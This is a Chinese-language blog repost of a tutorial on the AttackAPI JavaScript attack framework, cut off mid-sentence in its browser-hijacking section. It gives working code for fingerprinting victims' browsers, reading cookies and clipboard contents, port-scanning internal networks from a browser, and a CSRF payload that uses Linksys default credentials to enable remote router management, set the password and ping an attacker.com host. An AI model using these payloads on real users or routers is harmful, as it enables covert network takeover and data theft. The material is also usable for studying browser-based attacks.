javascript
精通JavaScript攻击框架:AttackAPI
多年來客戶端安全一直未引起人們的足夠重視,但是如今情況發生了急劇轉變,客戶端安全已經成為信息安全領域的焦點之一。Web惡意軟件、AJAX蠕蟲、瀏覽歷史暴破、登錄檢測、傀儡控制技術網絡端口掃描以及瀏覽器劫持等各種技術只是安全研究人員地下實驗室的部分技術,但是已經帶來了非常大的影響。
一種類型的安全專業浮現并變成主流利用機制時,供應廠商和個人就會開始發行框架和自動工具,來處理工具和測試過程。雖然供應廠商最初主要將精力放在AJAX審計工具方面,但是安全研究人員更關注的是連綿的系統邊界,以探索事實真相。
由于存在多種可能的攻擊矢量,Web應用程序安全社區也建立了多個框架來探測、利用安全漏洞,從而揭示Web 開發社區所面臨的種種問題。而本文將向大家介紹AttackAPI的詳細使用方法。
一、AttackAPI概述
AttackAPI是一個基于Web的攻擊構造庫,它可以結合PHP、JavaScript及其他客戶端和服務器端技術進行使用。 AttackAPI有幾十個不同功能的模塊組成,這些模塊既可以從瀏覽器使用,也可以從JavaScript解釋器執行,例如 Mozilla Rhino。它的目標是為實現漏洞利用而提供一個簡單易用的接口,主要用于測試和驗證之用。
在開始研究AttackAPI子程序之前,我們先來做一些準備工作。首先,下載該庫,然后搭設一個測試環境,我們將在這個環境中開發大部分示例程序。為此,我們需要安裝、運行以下應用程序:
支持PHP 4.x或者更新的版本的HTTP服務器(Apache+PHP或者AppServ)
www.apache.org/
www.php.net/
www.appservnetwork.com/
從GNUCITIZEN下載最新的AttackAPI
www.gnucitizen.org/projects/attackapi
Mozilla的網絡瀏覽器Firefox
www.getfirefox.com
Firefox擴展Firebug,地址www.getfirebug.com/
啟動Apache HTTP 服務器并且確保已在正常運行中。 在網上,介紹這類任務文檔很多,在此不再贅述。然后,從GNUCITIZEN下載AttackAPI程序包 ,并且將其抽取到Web服務器的根文件夾中。例如,如果使用的是AppServ,那么可以將這些文件放在C:AppServwwwattackapi中。
確保運行的Firefox已經安裝了Firebug。我們之所以不辭勞苦的準備這些東西,是因為它們可以在將來為我們剩下許多力氣,當我們從 Firebug的動態控制臺下做這些工作的時候,要比不停地保存和打開一些隨機的臨時文件要輕松得多。雖然我們這里使用的是Firefox,但是這里的例 子照樣可以用在其它瀏覽器上,只需稍作修改即可。
做好這些初始設置后,打開Firefox,從localhost導航至AttackAPI文件夾,即http://localhost/attackapi。這時就會看到如圖1所示內容。
從AttackAPI的文件結構來到Build|Tests|firetest-interactive.htm,這個文件中包含了下面我們將用到的一些 元素。因為我們不會對打開的頁面的HTML內容做任何修改,所以打開 Firebug,并調整控制臺使其擴展至整個屏幕。
確保位于Console 選項卡中,并輸入命令:dir(AttackAPI)。如果一切正常的話,就會看到如圖2所示的AttackAPI 文檔對象模型(DOM)結構。
在本文剩下部分中,我們將使用$A對象而不是AttackAPI來訪問和調用庫對象和方法。$A對象是AttackAPI的一個獨立的實例,并且包 含更易使用的AttackAPI方法的快捷方式。 AttackAPI是一個結構化程度很高的庫,通過圖2可以看出,它還進一步分為AttackAPI.core(庫核心)、 AttackAPI.dom(跨瀏覽器的方法)和AttackAPI.utils(跨解釋器的方法)。通過使用上面所說的約定,AttackAPI的 base64編碼函數的完整路徑為$A.encodeBase64,是不是非常簡潔呀?!這樣輸入代碼的時候是不是省力氣了,所以說,懶惰是促進人類進步 的主要動力之一。
由于我們需要輸入的代碼較多,所以建議使用更大的命令行,首先在“選項”下拉菜單中選擇“更大的命令行”選項,如同圖3所示。
這時命令行會出現在窗口的右側,如下圖所示:
因為我們要鍵入許多代碼,所以難免出現輸入錯誤。所以打開更大的命令行之后,改起來會更快、更好。
需要注意的是,我們可以使用Load AttackAPI 書簽將AttackAPI 加載到選擇的頁面上,尤其是當我們需要為某個站點開發利用程序,但是又不想通過Firebug修改該頁面的源代碼或者插入腳本標簽的時候格外有用。該bookmarklet可以是從www.gnucitizen.org/projects/load-attackapi-bookmarklet下載。現在開始研究AttackAPI的客戶端踩點功能。
二、客戶端踩點
攻擊者一旦控制了受害者的瀏覽器,他們首先要做的第一件事情就是弄清楚他們俘獲的到底是什么樣的客戶端和平臺。為達到這一目的,他們只需在Firebug的命令行中輸入下列命令便可:
console.log($A.getAgent() );
console.log($A.getPlatform() );
命令行窗口下方的“運行”按鈕,就會看到這兩個函數的執行結果,如下圖所示:
如您所見,瀏覽器類型和操作系統版本已經展現在我們眼前了——事情就是這么簡單!
然而,攻擊者能做的事情遠不止這些。在Firebug的命令行下輸入如下所示的兩行命令:
console.dir($A.getCookies() );
console.dir($A.getPlugins() );
命令行窗口下方的“運行”按鈕,就會看到這兩個函數的執行結果,如下圖所示:
GetCookies函數會檢索出所有可用的Cookie,注意,這里的getCookies函數是一個易于使用的JavaScript 對象,這樣我們就無需對DOM對象document.cookie 進行手動解析了。 與getCookies函數類似,getPlugins函數會列出目前已經安裝的所有瀏覽器插件;這個函數能夠運行在大多數瀏覽器上,但是 Internet Explorer(IE)除外。
這里需要注意,如果客戶端使用的是IE的話,AttackAPI能夠訪問存儲在剪貼板中的數據:我們可以使用 AttackAPI.dom.getClipboard來讀取剪貼板,并能使用AttackAPI.dom.setClipboard 函數來設置剪貼板。通常情況下,剪貼板會保存有攻擊者感興趣的內容,例如用戶有時候會復制粘貼他們的密碼。通過使用這項功能,攻擊者可以很輕松地竊取剪貼 板中的數據,進而利用這些數據來控制用戶帳戶。
我們知道,攻擊者可以攻擊位于局域網內部的設備。為此,他們必須具有對局域網內部結構有一個很好的了解才行,對內部網絡圖范圍更應該有一個詳細的了解。他們可以做出以下假設,家庭用戶的地址范圍為192.168.0.0–192.168.1.0,邊界路由器地址為192.168.0.1或者192.168.1.1,而企業用戶位于10.0.0.0范圍內,因為這個地址范圍能夠容納更多的用戶。另一方面,在下列三個AttackAPI函數的幫助下攻擊者可以很輕松地獲得內部網絡信息:
console.log($A.getInternalIP() );
console.log($A.getInternalHostname() );
console.dir($A.getInternalNetworkInfo() );
命令行窗口下方的“運行”按鈕,就會看到這兩個函數的執行結果,如下圖所示:
攻擊者可以很輕松地使用以下命令推測出邊界路由器:
console.log(new String($A.getInternalIP() ).replace(/.d+$/, ‘.1’) );
知 道了這些,攻擊者可以針對它發動大量不同的攻擊,以確定它的類型和版本,并最終通過跨站點腳本攻擊(XSS)或者某些其他弱點來利用這個邊界路由器。盡管 老練的攻擊者能夠輕松提出一個合理的猜測,然而,猜測畢竟只是猜測而已,它未必總是有效。下面的內容中,我們將要利用AttackAPI進行更多的網絡操 作,但是現在我們只把精力集中在客戶端調查上。
?
?
?
對于AttackAPI來說,激動人心的功能并不在于獲取代理、平臺、cookies、插件和內部網絡信息:
我們在上面向大家介紹了AttackAPI測試環境的搭設以及客戶端踩點的方法進行了詳盡的介紹,在這里我們將對AttackAPI的其他用法做詳盡的介紹。
一、攻擊網絡
能從客戶端提取信息只是攻擊者能夠做的事情中的一小部分而已。客戶端調查只是有預謀的攻擊的一個起點。XSS攻擊不僅僅關于客戶端安全。由于瀏覽器是在不安全的因特網和局域網之間的橋梁,因此攻擊者可以濫用不同的瀏覽器特性來定位和攻擊內部設備。
下面考察一下如何在AttackAPI的幫助下對內部網發動攻擊。就像任何有計劃的網絡攻擊一樣,我們將要進行端口掃描:
$A.scanPorts({
target: www.gnucitizen.org,
ports: [80,81,443],
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(completed!)
}
});
圖1展示了端口掃描結果,這是從我們的瀏覽器看到的。您可以看到瀏覽器正確的識別出端口80已經打開,而端口81和443被關閉了。
從瀏覽器進行端口掃描不是很精確,因此,您可能會收到許多誤報。要消除誤報,需要通過timeout參數對掃描過程進行調優,如下所示:
$A.scanPorts({
target: ‘www.gnucitizen.org’,
ports: [80,81,443],
timeout: 2000, // try with a couple of values to get better results
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(‘completed!’)
}
});
現在,我們已經知道如何進行端口掃描了,那么您現在就可以嘗試通過類似于下列的東西來識別企業打印機已經打開了哪些端口:
$A.scanPorts({
target: ‘10.10.128.54’, // address to the internal printer IP address
ports: [80, 81, 443, 9100],
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(‘completed!’)
}
});
參數timeout定義了端口掃描程序等待當前受測端口響應的時間長度,超過該段時間就將其標識為已關閉。如果受害者通過代理訪問內部Web資源的話,那么就掃描過程就會失敗。然而,這種設置非常罕見。
注意:Firefox和Opera不能掃描低于80的端口號。這是這兩個瀏覽器實現的一個安全特性,但是IE沒有這種限制。AttackAPI還能 對一個網絡范圍內的端口進行掃描。這種技術就是平常所說的地毯式端口掃描,還可以通過AttackAPI的sweepPorts函數進行訪問。以下代碼演 示了sweepPorts函數的能力:
$A.sweepPorts({
network: 212.211.193.100 - 212.211.193.110,
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(completed!)
}
});
如果一切正常,您將看到如圖2所示的結果。
AttackAPI支持兩種表示地址范圍的方法,一種是“起始IP地址-終止IP地址”表示的地址范圍,另一種是IP/MASK[無類域間路由(CIDR)]表示的地址范圍。在這方面,可以使用以下代碼掃描11.11.66.0的C類地址范圍:
$A.sweepPorts({
network: ‘10.10.56.0/24’,
onfound: function (port) {
console.log(port)
},
oncompleted: function () {
console.log(‘completed!’)
}
});
為了操縱您自己的網絡和IP,可以使用一些AttackAPI實用程序,這些實用程序的名稱和用法概述如下:
var num = $A.ip2number(‘10.10.56.10’); // convert IP to number
console.log(num)
var ip = $A.number2ip(num); // effectively 168441866 is the same as 10.10.56.10
console.log(ip);
var range = $A.net2range(‘10.10.56.0/24’); // convert network to range
console.dir(range);
var net = $A.range2net(range); // reverse
console.log(net);
雖然識別出開放端口和工作的系統很重要,但是我們所能做的遠不止這些。例如,我們可以通過單個函數調用就能夠對內部路由器發動攻擊。
有大量的設備可以用來了解如何通往因特網。第一個設備是著名的缺省網關。如果您是無線用戶,它就是您的無線路由器。為了便于對這個路由器進行配置和 安全設置,有時候允許通過因特網使用它的管理接口。下面是攻擊者悄悄地完成此任務的方法,只要受害者訪問一個惡意web頁面就足夠了:
$A.requestCSRF({
method: ‘POST’
url: (‘http://admin:admin@’+ $A.getInternalIP() ).replace(/.d+$/, ‘.1’) +
‘/setup.cgi’,
query: {
remote_management: ‘enable’,
sysPasswd: ‘abc123’,
sysConfi rmPasswd: ‘abc123’
}
});
首先,我們調用requestCSRF函數,它是AttackAPI眾多請求函數中的一個,可以用于檢索或者調用遠程資源。與 requestXML(它只對同源的資源有效)不同的是,requestCSRF無此限制,但是它對于調用者來說總是不可見的。這意味著,我們不能獲得返 回的響應。
RequestCSRF函數被調用時可以帶有一些參數,第一個參數是定義發送方式,這里是POST。 然后,定義發送有效載荷的URL。注意,我們檢測客戶端的本地IP地址,然后通過前面所講解的方法將其轉換成默認網關地址。然后,我們添加路由器的默認證書。
無線用戶經常讓他們的路由器保持默認的訪問設置。當requestCSRF函數結束時,我們聲明要發送的實際有效載荷,這個是參數query。從查詢列表我們可以看到,遠程管理接口程序已經啟用,并且系統口令被設為“abc123”。
注意:這個函數使用了Linksys的無線路由器的默認證書。如果該路由器已經配置了其它的證書,它會為受害者提供一個基本認證框,表示在批準該請 求前需要對他們進行身份驗證。記住,受害者不會知道在后臺發生了什么。它只是看起來連接已經終止,并且路由器試圖恢復控制——很多時候都會遇到這種情況 ——這也正是受害者樂意鍵入他們的證書并且批準該惡意請求的原因。
攻擊對用戶來說總是不可見的。如果認證得手,端口8080就會啟用,這樣就可以通過因特網來使用其管理接口了。這時,邊界路由器以及所有該網絡中的機器都已經完全落入攻擊者手中。
攻擊者可能想要做的事情是發送一個配置消息,指出該用戶的路由器已經被攻陷了,如下所示:
$A.requestCSRF({
method: ‘POST’
url: (‘http://admin:admin@’+ $A.getInternalIP() ).replace(/.d+$/, ‘.1’) +
‘/setup.cgi’,
query: {
remote_management: ‘enable’,
sysPasswd: ‘abc123’,
sysConfi rmPasswd: ‘abc123’
},
onload: function () {
$A.requestIMG(‘http://attacker.com/confi rm_compromised.php’);
}
});
下面是一個真實的攻擊,并且會對Linksys的無線路由器造成損害。一旦攻擊者潛入您所在的網絡,他們就能夠做其他的事情,例如識別不同的本地設 備,并盡可能地收集更多的信息。所以用戶不應該信賴來自任意頁面的JavaScript代碼,同時他們應該意識到在沒有保護的情況下沖浪所潛在的問題。
在前面部分,我們展示了經過scanStates函數可以發現已經登錄的用戶。然而,這個函數還有許多其他用途。由于scanStates基于特征 碼,因此我們可以使用它檢測不同的網絡設備的類型和版本。特征碼是基于遠程訪問資源時包含一個腳本標簽所引起的錯誤信息的,例如一個不存在的資源導致的錯 誤跟一個由存在的資源所導致的錯誤是有區別的,這意味著,提供一個足夠大的特征數據庫,我們就可以檢測不同的網絡設備、企業網站等等的類型和版本。攻擊者能夠成功的識別出您的機構的內部網密鑰體制的版本。如果其中有一些具有XSS或者CSRF漏洞,那么攻擊者就可以針對性的發動攻擊,從而取得受害者的會話的永久性的或者非永久性的控制權。
瀏覽器是有敵意的因特網和本地可信網絡這兩個世界間的一個溝通平臺,這使它成為攻擊者穿越兩個世界的理想平臺。在下列部分,我們將展示進入某人的路由器是多么的簡單,已及攻擊者是怎樣輕松通過控制其它的設備來破壞網絡的完整性的。
二、劫持瀏覽器
XSS攻擊的主要類型有兩種,持久性和非持久性攻擊。這里所說的持久性攻擊更加危險,因為用戶每次訪問被感染的資源時攻擊都會發生。這意味著,攻擊者可以在很長一段時間
總結
以上是生活随笔為你收集整理的精通JavaScript攻击框架:AttackAPI的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【Asp.Net】Asp.Net Com
- 下一篇: 数据结构算法实现2